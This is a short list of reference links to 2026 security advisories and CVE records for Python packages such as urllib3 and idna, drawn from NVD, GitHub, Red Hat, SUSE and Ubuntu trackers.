nvd.nist.gov/vuln/detail/CVE-2026-44431
github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc
bugzilla.redhat.com/show_bug.cgi?id=2485616
cve.org/CVERecord?id=CVE-2026-45409
nvd.nist.gov/vuln/detail/CVE-2026-45409
github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx
suse.com/support/update/announcement/2026/suse-su-202622660-1
bugzilla.suse.com/1271187
bugzilla.suse.com/1271188
suse.com/security/cve/CVE-2026-49476
suse.com/security/cve/CVE-2026-49477
suse.com/support/update/announcement/2026/suse-su-20263239-1
bugzilla.suse.com/1256316
suse.com/support/update/announcement/2026/suse-su-20263240-1
ubuntu.com/security/CVE-2026-49477
Left out here: 1 version and the rest of 3 source descriptions. The JSON record has them.